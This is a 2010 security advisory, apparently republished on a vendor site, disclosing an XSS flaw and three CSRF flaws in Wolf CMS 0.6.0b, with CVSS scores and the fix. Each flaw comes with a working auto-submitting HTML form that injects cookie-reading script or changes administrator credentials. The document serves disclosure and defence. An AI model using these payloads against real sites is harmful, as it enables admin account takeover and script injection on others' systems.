Multiple Vulnerabilities in Wolf CMS

Advisory ID:HTB22678
Product:Wolf CMS
Vendor:Wolf CMS team
Vulnerable Versions:0.6.0b and probably prior
Tested Version:0.6.0b
Advisory Publication:November 9, 2010 [without technical details]
Vendor Notification:November 9, 2010
Public Disclosure:November 23, 2010
Latest Update:November 16, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Wolf CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in Wolf CMS
The vulnerability exists due to input sanitation error in the "user[name]" parameter in wolf/app/controllers/UserController.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/admin/?/user/add" method="post" name="main">
<input type="hidden" name="user[name]" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="user[email]" value="">
<input type="hidden" name="user[username]" value="">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user[language]" value="pl">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery vulnerabilities in Wolf CMS
2.1 The vulnerability exists due to insufficient validation of the request origin in wolf/app/controllers/PageController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link, store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main">
<input type="hidden" name="page[parent_id]" value="1">
<input type="hidden" name="page[title]" value="Page title">
<input type="hidden" name="page[slug]" value="sef_url">
<input type="hidden" name="page[breadcrumb]" value="breadcrumb">
<input type="hidden" name="page[keywords]" value="">
<input type="hidden" name="page[description]" value='descr"><script>alert(document.cookie)</script>'>
<input type="hidden" name="page_tag[tags]" value="">
<input type="hidden" name="page[layout_id]" value="">
<input type="hidden" name="page[behavior_id]" value="">
<input type="hidden" name="page[created_on]" value="2010-10-22">
<input type="hidden" name="page[created_on_time]" value="06:15:18">
<input type="hidden" name="page[published_on]" value="2010-10-22">
<input type="hidden" name="page[published_on_time]" value="06:15:18">
<input type="hidden" name="page[needs_login]" value="2">
<input type="hidden" name="part[0][name]" value="body">
<input type="hidden" name="part[0][id]" value="11">
<input type="hidden" name="part[0][filter_id]" value="textile">
<input type="hidden" name="part[0][content]" value="This is a page">
<input type="hidden" name="part[1][name]" value="sidebar">
<input type="hidden" name="part[1][id]" value="12">
<input type="hidden" name="part[1][filter_id]" value="">
<input type="hidden" name="part[1][content]" value="">
<input type="hidden" name="page[status_id]" value="100">
<input type="hidden" name="commit" value="Save and Close">
</form>
<script>
document.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin in wolf/app/controllers/SettingController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link, store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/?/setting" method="post" name="main">
<input type="hidden" name="setting[admin_title]" value='Wolf CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[admin_email]" value="email@example.com">
<input type="hidden" name="setting[language]" value="pl">
<input type="hidden" name="setting[theme]" value="brown_and_green">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
<input type="hidden" name="setting[default_filter_id]" value="">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>

2.3 The vulnerability exists due to insufficient validation of the request origin in wolf/app/controllers/UserController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main">
<input type="hidden" name="user[name]" value="username">
<input type="hidden" name="user[email]" value="myemail@example.com">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[administrator]" value="1">
<input type="hidden" name="user_permission[developer]" value="2">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="user[language]" value="en">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to 0.7.0 RC1 or later.


References:
[1] High-Tech Bridge Advisory HTB22678 - https://www.immuniweb.com/advisory/HTB22678 - Multiple Vulnerabilities in Wolf CMS
[2] Wolf CMS - wolfcms.org - Wolf CMS is a lightweight, fast, simple, yet powerful content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter